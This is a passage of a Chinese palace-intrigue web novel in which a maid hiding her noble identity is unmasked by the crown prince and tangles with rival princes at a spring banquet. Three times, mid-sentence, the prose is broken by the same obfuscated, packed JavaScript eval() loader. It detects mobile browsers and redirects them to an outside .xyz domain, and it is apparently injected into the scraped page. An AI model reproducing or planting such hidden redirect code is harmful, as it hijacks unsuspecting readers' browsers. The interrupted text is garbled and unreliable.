徴音匆匆爬起来，拂去身上雪粒，说道：“本来要去的，现在我得回去换衣裳了，能不能换个人替我去啊？” 竺影心中隐隐有不好的预感。 果然，孟闻的视线在几个宫人身上扫了一圈，最后落在她身上。 “你可有空闲？” 竺影不太情愿地看着他，她可以说没有吗？ 不等她拒绝，孟闻又道：“不是什么难事，只是路途远些。需到掖庭的松龄舍取一样东西，你见到一个叫温成的宫人，同他表明来意，他自会把东西给你。” 竺影点点头答应了，此人定是在存心刁难她。 掖庭在章华殿左，东宫在章华殿右，几乎横跨了整座宫城的，路程远了不止一星半点。 更别提此刻天阴沉沉，眼看又要飞雪了。 她抱着一柄纸伞，揣着满腹怨气踏出宫门，没走多远，却在不远处见到了入宫的孟晓。 他是来见孟闻的。 竺影似猜到了，原来叫她专程跑这一趟，是为了支开她。 皑皑茫茫间，齐王的身影没入宫门，不曾转头，没看到她，于是乎就此错过。 彼时太子正坐在洗春阁中温书。 商音领着齐王前往，到了地方，留宁蒹守在门外，孟晓独自走了进去。 略去礼节，孟闻一指对座之席，道：“坐吧。” 孟晓恍若未闻，于书房绕了一圈，又在太子眼前踱步，最后啧啧感叹：“瞧瞧这偌大屋宇，这回你真要好好谢一谢我。不过这地方，稍显冷清了。” 孟闻道：“刚搬来，无暇收拾。” 孟晓道：“我倒忘了，你在西苑时，凡事都须得亲力亲为，如今还不习惯吧？” 孟闻不欲与他闲谈，合上书卷，直面问起：“皇兄去了掖庭，可寻到要找的人了？” 孟晓回看向他，说道：“不曾。” 孟闻道：“我记得原先问过皇兄，那时兄不置可否，我以为她与你无甚关系，才交由掖庭处置了。” “如此啊……”孟晓垂眼背过身去，只有一手背在身后，死死攥着，攥得骨节都泛白。 他淡淡嗤出一笑：“这人是我从林场里拾得的，本是个有罪之人，却侥幸逃过了围猎捡回一命，我便将她带回来安置在宫里。我原要提醒三郎，她有些底细我尚不清楚，这样的人还是不要放在身边为好，既然已经死了……那便罢了。” 孟闻听他不用“救下”，也不用“留下”，偏用“拾得”这样的字眼，好像她是什么物件。 一瞥孟晓腰间，挂着一只黛蓝香囊，其下系着酢浆草结，倒是有些熟悉。 他叹道：“如此说来，是我对不住皇兄，只是此事我实不知。” 孟晓没有发作，仅是不断说着：“罢了，罢了。” 本是他母亲的罪过，害死了鸣鸾宫那位，也坏他计策，到头来却是用一个宫人了结此事，如此，才算罢了。 20. 凛风鸣竹（十） 竺影到松龄舍取回个包裹得严严实实的木函，归时没有下雪，只是天空依旧阴沉。 齐王已经离开了，太子此时坐在书架侧，一手凑近银炉烤火，一手持卷默读。 竺影推门而入，说道：“殿下，东西取回来了。” “放那儿。”孟闻垂目看书，连眼皮都懒得掀，只抬手一指，示意她把匣子放在案上。 竺影放下信函，恭恭敬敬地行过礼，便要离去。 刚走到门口，那人却漫不经心地道：“齐王来了一趟，你来的路上，可有见到他？” 竺影步子滞住，扶住门的手突然失了力，任由冷风卷入，吹得两扇门开开合合，敲在墙上“砰砰”作响。 更漏里的水凝成了冰，不闻道道滴水声。银炉里时不时传来“噼啪”一声，飞出一点火星。 “不曾见着。” 她声音低低的，也不知那人听不听得到。 “把门掩上，过来。”他如常吩咐着。 竺影慢吞吞转头，透过堆叠的书卷缝隙，窥望那人身影。 那双寂静的眸凝视过来，目光倏尔落在她身上，并不如何生气。 她转而照做，施施然将门扣上，指甲在朱漆上留下一道浅浅的划痕。 挪着步子过去时，听他一字一句，与她的每一步皆似有千斤重。 “似乎忘了告诉你，齐王一开始来找我问询你的下落。我告诉他，差人将你在送去了掖庭。是故那日他在掖庭，便是为寻你而去的。” 竺影愕然移目看他，他目光直直，一字一顿道：“我同他说你死了。” 她听了这话，一时不知是惶恐更甚，还是气愤更多。 他不蠢啊，清楚知道她说过的每一句谎，猜到齐王对他的算计，也反过来还之彼身。 既如此，那日在掖庭宫外，何必问她，又何必留下她？ 竺影不了解他，猜不到他心中所想，于是壮着胆子问询：“那么殿下，为何还要留下小人呢？” 孟闻放下书卷，轻言轻语道：“虽有欺瞒，罪不至死，谅你也是替旁人办事，替旁人顶罪而已。” 他如此解释，一言蔽之。 她低着头，走到他面前，又听他问：“你的主子先前弃了你，又何故来寻你？” 她说：“小人不知晓。” 孟闻道：“使我不解的是，他若真在意一个人的死活，当日出宫开府，为何没带上你？莫非是你不愿随他去？” 竺影道：“过往之事尽数与小人无关了，齐王府已非容身之所，小人得殿下收留，感激不尽。” 他哂笑：“你还挺识时务？” 她道：“人之常情。” 一场雪落了，几片雪花飞进窗子，融化在朱窗上。 孟闻的视线越过她肩头，落在那方取回来的信函之上。 他执一张薄纸离席走下来，于案前落座，轻启木匣。 匣中仅仅装着些纸页，上面的字迹密密麻麻，除此之外并无他物。 “这是你那日写下的药方。” 他说着，便将那药方与函中的纸页作比对。 那张药方并无问题，竺影本不必为此心虚。 可他仔仔细细查看过那药方，一开口，却是醉翁之意不在酒。 “你这手字，斜勾不出勾，倒是似曾相识。” 此话一出，令竺影愣在一旁，如同傻子。 他竟不按常理出牌，不顾药方上写的什么，直接开始琢磨起她的字迹。 怎么可能呢？他怎么可能见过这一手字？ 为了免去麻烦，竺她还有意将字迹换成了入宫前的笔迹，宫中之人除了些许旧识，还有何人会知晓？ 本还存了一丝侥幸，可是下一刻他就放下了药方。 那双清冷的眸子睨着她，又多几分笃定。 “我知道你是谁了。”他说。 竺影心口跳了跳，眼中有不可名状的惊惶。 “竺家女郎。” 话音落地，那柄悬于她心头的刀匕也随之落下。 明明她此前隐瞒得这么好，他如何会猜到？ 她想知道那信函中装的究竟是什么。 难不成是那日在秘阁，三皇子看过她交给小谢大人的那封书信？ 小谢大人与祝大人六年师生情分，难不成也会阳奉阴违，背着祝大人行事？ 会用到这字迹的，就只剩她求人送去交州的家书了。 可那家书好端端的，又怎么会落到他手里？ 孟闻单单侧目看了她一眼，竺影即刻起身退到一旁，避席长拜。 他问道：“这是做什么？” 既无威胁，又非责问，只一个身份，偏偏吓得她跪伏在地，寒战不已。 竺影道：“小人不知，殿下如何能见到小人的字迹？” 孟闻道：“从前在太学，我与令兄竺鸣琅，曾有一段同席研磨的情谊。” “有一年太学考试中，他误交了一份策论，本也不是什么大事，将其换下便是。可偏偏这文章落到了我的老师手里。恩师道其言辞辛辣，却也鞭辟入里，于是请诸位先生过目，有先生评之为上乘，亦有先生视其为异端。我料想竺清写不出那样的章句，如今想来，那篇文章是你的手笔？” 竺影不言，他继而从纸上单拈出一句来，问她道：“君言真章纸上见，何故不上章华殿？这句是你写的？” “是。”她直起身来，不曾否认。 眼前人脱口而出的，正是她少时不知天高地厚的章句。 原来是因着她兄长的缘故，如此想来，竺影心中倒轻松些许。 孟闻放下那些纸页，不再细究了，只同她叮嘱道：“从今往后只需记住，静和宫的鸣竹已死，你从前叫什么名字，以后就叫什么。” 太子殿下已经如此宽宏地发了话，她本该见好就收，谢恩退下。 可她还是没忍住顶撞一句：“有没有可能，鸣竹就是我的字……” 孟闻瞪了她一眼。 竺影道：“这的确不是假名。家中人本想给我取字明珠，却嫌这二字太俗，恰闻廊下有风过，翠竹声鸣，遂以‘鸣竹’为字。这是家人曾千呼万唤的名字，小人不愿舍弃。” 可他在此时望向窗外，见洗春阁之外也是这样一番光景，有风鸣竹，如碎玉声。 对于她的话，也不知是信了，还是不信。 他又问：“本名呢？” 她答：“竺影。” 敷衍得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436809|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能再敷衍的回答，也不同他说是哪一个“影”。 孟闻扣上信函，缓缓走到她面前蹲下，与之平视。 “据我所知，前任竺太常与其夫人现流放交州梧县？” “殿下！”竺影哀求着他，“若小人有过错，悉听殿下发落，能否请殿下不要迁怒小人的家人？” 孟闻道：“你着什么急？交州也不是什么坏地方，从前舅父奉命守交州，先母也是在那里长大。” 本是出言安抚，在她眼里却成了威胁。 他道：“你本是官家女，却在宫中为奴为婢六年，更是在静和宫受尽搓磨，险些丧命……倒也可怜。我给你个做主子的机会，如何？” 竺影暗道一声“完蛋”，只顾装傻便是了。 她避开这人视线，战战兢兢作答：“殿下所言，小人听不懂。” “这也听不懂？那我留着你做什么？”孟闻凝着她低垂的面庞，话音突然严肃，乃至忽视了自己并不得体的直视。 “颇有心计，就是性子软了些，当真可惜。但愿齐王下回再来的时候，你最好是真的不懂。” 他略感遗憾站起身，也叫她起来。 “起来吧，你跪了是要使我夭寿的。” 竺影遂站起身，视线追随着他，直到他重新落座，又拿起先前翻看的那一本书来。 她又问：“可还记得，我留你在洗春阁做什么？” 竺影道：“殿下不想因小人伤了与齐王的情谊，但留小人在此，总不会是为了来日去寻齐王的不痛快吧？” “嗤——”他忽然失笑，抬手指了指她身后的千百卷典籍，说道，“看到满屋子的书了吗？” 她顺着他指的方向看去。 孟闻道：“我记得让徴音嘱咐过你，勿忘了常往架上添些芸草，别让书里生了蠹鱼*。此外，一楼茶室靠左的茶案上有一副杯盏，你须每日煮茶养护着，明白？” 竺影连连点头道：“明白。” 她刚松了口气，很快又反应过来，每日过来？岂不是天天要在他面前晃悠？ 此人分明厌极了她才是啊。 莫不是作卧薪尝胆、忍辱负重之用，时时提醒自己？ 竺影如是想着。 他又坐回原处看书，今日这事，貌似就这样揭过去了。 “殿下。”她小心翼翼地请示，“若无旁的事，小人是否可以离开了？” 他不抬首，冷嗤一句：“奴颜婢膝。” 真真是莫名其妙啊，从始至终没什么逾礼之处，这话不知怎么就惹到了他。 一想明日依旧是如此难捱，不禁悲从中来。 竺影悻悻地低下头，问他道：“那小人是走还是不走？” 孟闻道：“去罢，记得明日辰时过来。” 她颔首应了声是，本将离去，身后突然传来他的轻语。 “往后莫要这般自称了，让外面的人知晓，有损于东宫名声。” 竺影无言抬头，乍见不远处的架上垂下一个青绿丝线编织的酢浆草结。 是她旧年所系，曾赠予冷宫中人，不知怎的到了这里。 她不回头，没应声。只是在他乖戾的外表下，察觉一丝秉性温良的影子，像从前的陆皇后。 21. 春回醒枝（一） 冬日天亮得晚，晨起时窗外还是灰蒙蒙一片，未见晨光。 洗春阁中早有身影在忙碌，太子叫她辰时再过来，可她卯时就在此处点书了。 孟闻踩着寒霜到书房，见架上的书都被搬空了，零零散散地摞在地上。 而她坐在书海中，埋头在写些什么。 “在做什么？”孟闻问道。 竺影道：“做编目和索隐，以后殿下找书会方便些。” 孟闻并未斥责她自作主张，只是有些惊讶，问她道：“你从前在静和宫里，也是做这些？” 不知道的，还以为她曾在秘阁当值。 竺影道：“自然不是，齐王不爱读书。” “哦——”孟闻阴阳怪气，“那你倒是来对了地方。” 她闻言嗤嗤，某人竟也知道自己的书房有多杂乱。 上千册书卷堆放在眼前，等着她一一编序。有些陈年的册子，线装腐朽了，不得不拆了重新装定，还有些纸张腐朽更严重的，便得重新誊抄了。 是个不小的活计。 这些事，在秘阁有专门的人去做，洗春阁却没有。 只有她一个女史。 孟闻于案前落座，又捧起昨日看的那本《禳灾》。一手翻书，一手提壶倒茶，却发现茶壶里是空的。 不等他发话，竺影就已搁下手头纸笔，默不作声走过去，捧起茶壶去烹茶。 那是一套很旧的茶具了，杯子的裂痕洇进了茶色，杯底粗糙，也算不上名贵，他却待之如珍似宝，每日烹茶养护。竺影猜，这应该是先皇后留下的旧物。 只是她不清楚这人喜好，于是依着二皇子煮茶的习惯，如法炮制。 竺影正剥橘皮时，孟闻忽然说道：“我只要茶水，不要茶粥。” 可橘子已剥了一半，她想着，若将剥好的橘瓣送到他案前去，未免太过讨好，说不准这人还会疑心她居心叵测。 索性自己吃掉。 悄悄尝了一口发现不太对劲，东宫的橘子很酸，像有人刻意针对这位太子，专挑了最涩口的果子送来。 匆匆咽下喉间酸涩，竺影赶忙将余下的两个橘子也剥了，整整齐齐码在瓷碟里给他端去。 孟闻瞥了一眼，没说什么。 竺影后来烹好的茶，他也没动一口。 罢了罢了，省却许多事情。 她又回到书架间，将已经编目的书本上架。 午时前本该传饭，商音却从阁外来禀。 “殿下。” “何事？” “襄王来了。” “他来做什么？” 齐王前脚刚走，另一个兄长后脚就来，两位兄长生怕他这东宫不够热闹。 襄王孟觉，字善知，是当今陛下长子，生母是薛贵人。十八岁封王出宫开府，后又调任封地，常年待在荆州，故而与宫中兄弟姊妹算不上亲近。 所以他今日突然拜访，在孟闻意料之外。 商音问：“殿下不想见的话，是否要推辞？” 孟闻道：“不必。皇兄既来见我，我也没有避而不见的道理。” 他放下书卷，亲自到宫门口迎接。 在西苑的这些年里，孟闻只听说这位兄长的左腿受过伤，是早年在林场中狩猎，不慎堕马所致。当时医治不当留下了隐疾，此后行走颇受限制。 尽管孟觉平日里极力遮掩，穿着宽大衣袍遮蔽，仔细看时，依然能发现他是跛足，走起路来肩膀一高一低。 或许旁人之凝视于他而言，与冒犯一般无二。 孟闻只看了一眼，便收敛了直视的目光，待他走上前来，与之行礼。 “三郎。”话一出口诧觉不妥，他又改口，“不——如今该称太子了。” 孟觉是习武之人，声音洪亮，上来便伸手揽过孟闻的肩，仿佛天生熟络。 孟闻一面拨开他的手，一面问道：“皇兄此时前来，有何贵干？” 孟觉微微蹙眉道：“怎么？这是不欢迎我？” 孟闻道：“皇兄说笑了，只是此地狼藉，不便待客，还请皇兄移步别处落座。” 不知为何，明明可以到崇庆殿待客，太子偏偏请襄王来了洗春阁。 昨日齐王也是来此，他待两位兄长也要一碗水端平似的。 太子与襄王议事，竺影自觉回避，退出阁中。 襄王兴许认出了她，只是碍于太子在场，不好当面发作。 两人对坐于漆木屏风前，孟闻将竺影先前剥好的橘子挪至孟觉身前，微笑道：“皇兄，吃橘子。” 孟觉本来还面带笑意，然而等拈起一瓣橘子放进嘴里，橘汁酸得他牙关发颤，瞬间面目扭曲。匆匆咽下酸涩，又赶忙就了一口茶去送。 哪料口中酸味未褪，茶水更是苦不堪言。 “呸——” 孟觉当即就吐了出来，捶着茶案骂骂咧咧道：“且不说这橘子，就说这茶哪里是给人喝的？那些奴婢是否有意苛待你？” 孟闻面无表情地饮完一杯茶，放下茶杯拱手向他赔礼：“我倒是未发觉，这茶煮好了放在这儿，还未尝过。叫皇兄受苦了，实乃愚弟之过。” 孟觉只得摆手：“不妨事不妨事，你这奴婢定是得换了。” 竺影在门外忍笑艰难。 门内的孟觉又说起：“我听闻你已向父皇请命，开春后前往并州。” 孟闻道：“是，还有月余动身。” 来来去去，说的还是要重修那座观星楼的事。 一说国库空虚，钱从何来；二说若有民怨，如何安抚；三说南边灾患也不少，陛下好歹得分清轻重缓急吧。 可观星楼不仅是陛下的执念，都快成魔障了。 两人在阁中一坐就是两个时辰。 孟闻称有事要忙，并未相送。孟觉便是在洗春阁外的道上见到了竺影。 此处竹丛掩映，回廊曲折，东宫里的人通常看不到这里。 她仓促行过一礼便要逃过去，却被襄王出声喝住。 “站住。” 竺影停在原地，俯身行礼道：“襄王殿下，可有要事吩咐？” “你不是明谌的人吗？怎么会在这里？”孟觉一步步走近，随即生了玩弄的心思。 “还是被他厌弃了？你说，我若是向闻弟讨要你，他会不会答应？” 他咬牙切齿说出这番话，看来也是常常把竺影放在心上了，就是不知是眼中钉，还是肉中刺。 总之，恨不能欲除之而后快。 “可以试试。”竺影并不惧他，反而笑晏晏道，“不过这样的话，襄王的另一条腿，也要仔细了。” 孟觉果真被激怒，猛然掐住她脖子，厉声道：“我看你是不知死活！” 她的确不知死活，如此境地还在发笑，又断断续续挑衅：“我自然活得好好的，反倒是您……每逢冬春雨雪……旧伤发作不好受吧？” 孟觉易怒，经不住挑衅，手上的力道越收越紧。竺影挣扎间，趁机将备好的字条塞进他腰间的香囊里。 孟觉久不松手，她几乎喘不上气。 依照竺影对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456700|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此人的了解，他恨极了某一个人时，怎么会让她轻易就死去？ 只是她没想到有人会在这时过来，自她身后传来一道人声： “皇兄为何与我宫里的人过不去？” 孟觉当即敛了怒意，同孟闻说道：“想来三弟宫中嬖女*众多，我单单看上了这一个，不如把她给我如何？以何条件交换，任你来提。” 孟闻想也不想便道：“这人我留着还有些用处，皇兄不必肖想了。” “那还真是可惜——”孟觉不情不愿地松了手，弃她于回廊下。 竺影跌坐在地低着头，肩膀因剧烈的喘息而起起伏伏。 孟觉看出来了，她是在笑啊。 可此处是东宫，今日这仇只得作罢。他将牙咬碎了咽进肚里，愤而挥袖离去。 孟闻缓缓走上前，竺影扶着廊柱起身，捂着胸口久未平复，脖颈上也留下一段红痕。 观她一副窘态，孟闻面无表情道：“为何有意招惹他？” 竺影道：“我没有——” 他却道：“我全都看到了。” 他全都看到了，然后像看戏一般，慢悠悠地走过来。 又总是喜欢这样不带责问地打量，轻言轻语地揭开她的谎。 而她每回被人戳穿了都不说话。 孟闻似有无奈，轻轻叹道：“你还总是能让我意外。” 难怪静和宫要将这麻烦推给东宫，他也未尝料到处置一个宫人会如此棘手。 竺影回怼道：“殿下洞察秋毫，应当在您意料之中才是。” 孟闻道：“休息好了就回阁中去，并州的《河渠书》与《地形志》我找不到了。” 他说罢便缓缓折返于道中。 元月以来，雪已经不再下了。 洗春阁前尽是不秋草与常青木，一片翠阴，他独行期间，竺影也迈步跟上了。 襄王离了东宫，又去往辞月宫拜望生母。 辞月宫之主薛贵人育有一子一女，定遥公主及笄后，下降平原侯。襄王又久在封地，是故她与子女聚少离多，难以得见。 襄王留在辞月宫用饭过后，正要出门闲行。 忽然瞥见走廊尽头有一片衣角，宫人正藏于廊柱后窥他，被他发现后，又含羞逃走。 孟觉追上前去，扯住宫人衣角，将那道身影揽入怀中。 “这么久不见，可有念我？” 玄英嗔怪道：“殿下难得回京，时时刻刻念着也不得见，只余空想罢了。” 一嗔一笑尽数落入他眼眸，孟觉心中大悦，此前在东宫的积郁登时烟消云散。 他低头搂着怀中人道：“这不是一忙完了就来见你？” 玄英忽然说道：“殿下身上的熏香怎么换了？” 孟觉道：“你做的香囊，我从未换过。想来是出入东宫与母亲寝宫，沾染了两处熏香。” 玄英道：“原来如此啊，奴以为殿下已有新欢在侧了。” 孟觉哄着她道：“封地事务繁忙，我哪里得闲去找旁的美人？” 玄英道：“已过去数月，殿下的香囊淡了，奴再为您做个新的好不好？” 她说着便要去解那香囊，却被孟觉扼住一段皓腕，于掌中摩挲。 “新的要做，旧的，我也要留着。” 玄英温柔笑道：“这个让奴拿回去，装一些新的香料，殿下下次入宫时再来向奴讨要。不然殿下日理万机，何时才想起来见奴一面呢？” “依你。”孟觉眼中笑意更甚，任由宫人俯下身将他腰间香囊解去。 22. 春回醒枝（二） 迎春宴也算是国朝几十年的传统，本该设在新正之后，却因着陆皇后的丧礼，推迟到了一月末才举行。 今年迎春太迟，春也来得迟些。 像是天公因国朝怠慢而怨怼，存心要与人间作对。 这个时节不见繁花，宫中便剪彩为幡，点作繁华。一点一点铺陈，饰满鸿嘉殿通往春台的路。 仅仅装点了那一段路，皇帝不会走过的地方，便还是一如既往的萧瑟。 比之往年，这场宫廷雅事不论是开支还是规模，都缩减了许多。以往五六品的朝臣都能进宫来沾沾喜气，今年便只邀了四品之上。 人少，就更显冷清了。 宴始，随着众臣入席，迎春宴很快陷入推杯换盏的繁忙。 皇帝坐在高台的紫幄中，几位后妃侍奉左右。 太子着一身素衣，簪白玉冠，居幄外首座，木讷地端坐着。 两个宫人提了一个巨大的酒钫放在正中，分装进玉壶里，随后送至贵人的食案上。 太子抬眸瞧斟酒的人一眼，目光却顺着她的手一寸寸上移，难免惊讶：“怎么会是你来？” 东宫的女官，此时不该在宴上奉酒。 竺影没应声，默默斟了满杯，轻声劝他一句：“这是河东的白堕酒，今年新酿的，滋味甚佳，殿下且尝尝吧。” 随后又道：“我换成了淘米水，殿下随意。” 声音很低，只有他们两个人能听到。 孟闻提起羽觞来，低头端详，淘米水与白堕酒颜色相近，却没有浮醪。 她什么都没解释，却又什么都明了了。 他斥责道：“你好大的胆子。” 竺影道：“如此一来，殿下就不会显得不合群了。” 皇帝突然看向他这处来，问道：“三郎久不举杯，是否有心事？” 孟闻执杯饮了，皇帝脸上也见了笑意。 他放下羽觞，任他的女官继续添水，顺从了她的阳奉阴违。 孟闻不是第一次知道她的胆大妄为，自作主张。 可鲜有人心思缜密到如斯境地，顾及他热孝在身不能饮酒。紫幄中与众臣举杯共饮的皇帝，便从不在乎此事。 孟闻看着她道：“说说看，你是如何得罪的襄王？” 竺影摇头道：“殿下不会想听。” 孟闻道：“我不想听的话，又怎会问你。” 她依旧不作答。 襄王在场上，披一身织金红羽氅在上座，与大臣们接杯举觞，好不张扬。他明日就要启程前往封地，这场宴算是在为他饯行。 一时风光无两，直到谒者高呼一声： “齐王到！” 众人纷纷停杯投著，目光投向末席。 酒过一巡，齐王才姗姗来迟。 竺影没随着旁人去观他，只是低头添酒，不慎滴漏三两滴淘米水在案上，又默不作声扯袖拭去。 孟晓走到席间，以手加额，朝幄中遥遥一拜。 “儿臣有事耽搁，故而来迟半刻，还望父皇恕罪。” 孟雍放下杯盏，指着他笑道：“二郎，朕早早命人去王府请你，你却依旧来迟，你说说，该怎么罚？” 孟晓道：“儿臣自请入末席，罚酒三杯。” 孟雍道：“好好，可是你自己说的，便依你所言，罚酒三杯。” “谢陛下。”孟晓复又向陛下行了一礼，饮了使者端来的三杯酒，果真退至末席落座。 如此一来，崔家女郎的上首自然就空出来了。那位置本是给齐王留着的。 有人也如那空出来的位置般，心里空落落。 末席与太子的位置隔了极远，竺影不敢观孟晓，她只敢在太子举杯饮水时，悄然窥上一眼。 酒香氤氲，席间喧哗。 孟晓恍若未闻，只端着羽觞轻轻摇晃，任浮醪随觞转，一口也未尝。 甫一抬眼，正好望见了她。 不过一瞬这目光又被阻却，崔月仪抱琴起身，自请为众宾抚琴娱情。 皇帝道一声：“准！” 宴上的笙歌止息，转而响起一阵绵邈的琴音。 崔女公子是京中最负盛名的才女，琴画双绝，传言更是神乎其技，竺影早有耳闻，今日才得亲眼一睹，思绪也被她的琴音一并牵着去。 上一位可以称得上才冠京城的女子，是已故的陆皇后。 竺影总不自觉想到她。 时至今日，人们都不约而同地避开她，避开她的姓氏，对此闭口不谈。 再看座上的皇太子殿下，一壶无甚滋味的淘米水，竟被他喝出了借酒浇愁的气势。 孟闻饮完了最后一杯，重重将羽觞搁在残羹冷炙旁。 竺影晃了晃空酒壶，说道：“没有了，我再去给殿下添一些。” 孟闻没作声，由着她去了。 崔家女郎一曲毕，皇帝笑而抚掌，高声道：“赏！” 崔月仪从座中站起来，盈盈俯身谢恩。 皇帝对着太常称赞道：“朕早听闻你崔慎善教养女儿，今日得见，果然不虚传。起初是祝卿建言，朕还担心错点了鸳鸯谱，如今看来，再没有比这更合适的婚事了。” 原来是祝从嘉的手笔…… 竺影眼中讶异一闪而过，又不动声色地为太子添水。 席间又喧闹起来。 众人也纷纷附和，恭维起崔太常，又称赞齐王与崔女公子真真是璧人一对，佳偶天成。 过不了多久，这段将成的姻缘便会成为京中广为流传的佳话。 孟觉举杯看向孟晓，笑道：“这样好的婚事，看来二郎要好好答谢他一番了。” 孟晓端起杯来回敬，咬牙切齿道：“皇兄说的是，确实要好好‘谢一谢’他。” 可惜祝大人今日称病在家，并未出席。 他这“谢意”，一时间无处宣泄。 皇帝又问起齐王：“依朕所想，不如就趁此机会定下婚期？二郎，你意下如何？” 孟晓却道：“不急。” 旁人听他拒绝的干脆，正疑惑他是要悔婚不成？ 很快又听他解释说：“下月三弟要去往并州，儿臣也要往南边去，短期内恐不得归。只怕此时仓促定下婚期，来日多生变故，免不得要拖延。” 孟雍转念一想，点头道：“说的倒也在理，那便等你与三郎回来了，再作商议罢。” 齐王与崔家的事便也过去，无人再提了。 酒过三巡，宴饮结束，宫人前来撤走食盘，竺影也起身请辞：“殿下要与诸位大臣作诗，陛下还等着您先呈诗呢，请容小人先行退去。” 孟闻自然没有留她，只是叮嘱她道：“宴上人多眼杂，别惹是生非。” 不远处支起了帷帐，摆上书案与墨宝。 宾客三三两两移步过去，清风撩拨的纱帐间，有人提笔作诗，有人因诗作画。 竺影离去时，瞥了一眼帐中提笔的齐王，轻执一端衣角，蘸墨转瞬落下三两行。目光仅在青年昳艳的眉目上停留半刻，又匆匆收回。 她匆匆走远，喧闹声也远了。 迎面而来的风是暖和的，春将至了。 等到春归时，粱宫的春台之上应是一片绿意，在这高台上可以望见宫中最盎然的春景。 可眼下何处不萧瑟？何处见春华？ 那些位高权重者还沉醉在弦歌酒宴里，借笔墨歌颂圣治，做着虚无缥缈的梦。 只有一个宫人独步春台上，冷眼观繁华。 巍峨宫城如同浸在陈年的醪醴当中，有人嫌它污浊，却也有人为此酣醉。 竺影在此处待了许久，迎着高处的冷风，才稍稍清醒些许。 蓦然回首，见有人正拾级而上。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483486|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩衣金冠缓缓走近，竺影看清那人面容，却不是孟晓，而是崔家女郎。 竺影下意识回避，等她行至春台上，向她行过一礼便擦肩而过。 崔月仪却侧目看她，意味深长：“我记得你。” 竺影道：“女郎会否错认了？小人与女郎并不相识。” 崔月仪冷笑一声，道：“你从前是齐王的人吧，从见你第一面起，我就知晓。那时你身上佩着和他一样的香。只是没想到你竟有几分本事，这么快就攀上了高枝，我的担心到底是多余了。” 竺影道：“女郎说笑了，何曾有过什么高枝？无非是换了个地方为奴为婢。” 崔月仪道：“我听闻三皇子一出冷宫，你就舍弃了齐王，转而攀附东宫，凭你也想做太子妃，入主鸣鸾宫当皇后吗？” “呀——”竺影不由惊叹，官家子弟自然与宫中奴婢不同，饶舌竟丝毫不避讳。 这样杀头的话，换作是寻常宫人，哪里敢说出口？ 也让惯于低头的竺影生出不吐不快的恣意。 她笑道：“您高看我们这些做奴婢的人了，齐王妃的位置我尚且图谋不得呢。” 月仪身边的侍女一听便要发怒：“你这宫奴好大的胆子！竟敢对女郎口出狂言！” 竺影当即反咬一口，道：“我本无意与女郎过不去，女郎何苦来为难我呢？女郎与齐王相知多久，知道他是一个什么样的人吗？莫非以为你受他冷待，是因为我一个小小宫人？” “呸！胡说八道！”侍女指着竺影骂道，“殿下对我家女郎礼重有加，何尝有过冷待？” “哦——是吗？”竺影反问道，“要真如此，女郎此时应与齐王琴瑟和鸣，怎有闲暇寻找我的不痛快？” 崔月仪这时慢慢开口：“小小宫人，好大的气性，就不怕我到陛下面前，告你个不敬之罪吗？” “女郎且去告吧，陛下自不会偏袒。只是齐王念旧情啊……”竺影有意放慢了语调，像是在威胁，“小人性命微不足惜，可是令尊的前程，就不好说了……女郎可敢与我赌上一赌？” 她面色平静放着狠话，倒真像那么一回事。 崔月仪顾及父亲，收敛了许多，仅是朝她一笑，便沿来路折返，留下一句： “我与你，来日方长。” 好一个来日方长，可竺影不想奉陪。 待崔家女郎走了，才又有人慢腾腾走上春台，一如他赴宴的姗姗来迟。 “鸣竹。” 那人在身后唤她。 熟悉的步频，熟悉的声音，竺影听出了是谁，指尖颤了颤，却没有回头，也没有应声，只留给他一个背影。 孟晓不由哂道：“怨气还没消啊？” 她冷着声道：“静和宫里出了事，殿下也知道去死人堆里寻我啊。” “是我想错了，已经罚过禾玉，你想怎么怨责都好。”他扶住竺影的肩，使其转过身来，对上她一双幽怨的眼。 竺影又问：“夫人要借刀杀人，殿下一直都清楚的，对吗？她要借孟闻的刀，杀我。” 孟晓却摇着头否认。 竺影看他，不似诓骗。 若不是他，那就只剩下陈氏的人了。 废后的死，当与他们有关。 明谌又道：“只是我没想到——” 竺影问：“没想到什么？” 他轻呵出一口气，似有万般无奈，没想到鸣鸾宫那位说没就没了，没想到母亲敢参与其中，更没想到孟闻那竖子竟欺瞒于他，悄无声息将他的人扣在东宫。 其后发生的一连串，皆在他的意料之外。 可所有的变故都于他有利。 竺影说：“这样正好，一切都遂了殿下的意。出来得太久，我该走了。” “这么着急？” 她道：“毕竟还要回东宫去，应付一下那位太子殿下。” 23. 春回醒枝（三） 天色渐晚，筵席将要散去。 竺影比太子早一步回了东宫，便先到去小厨房煮一盅梨汤备着。 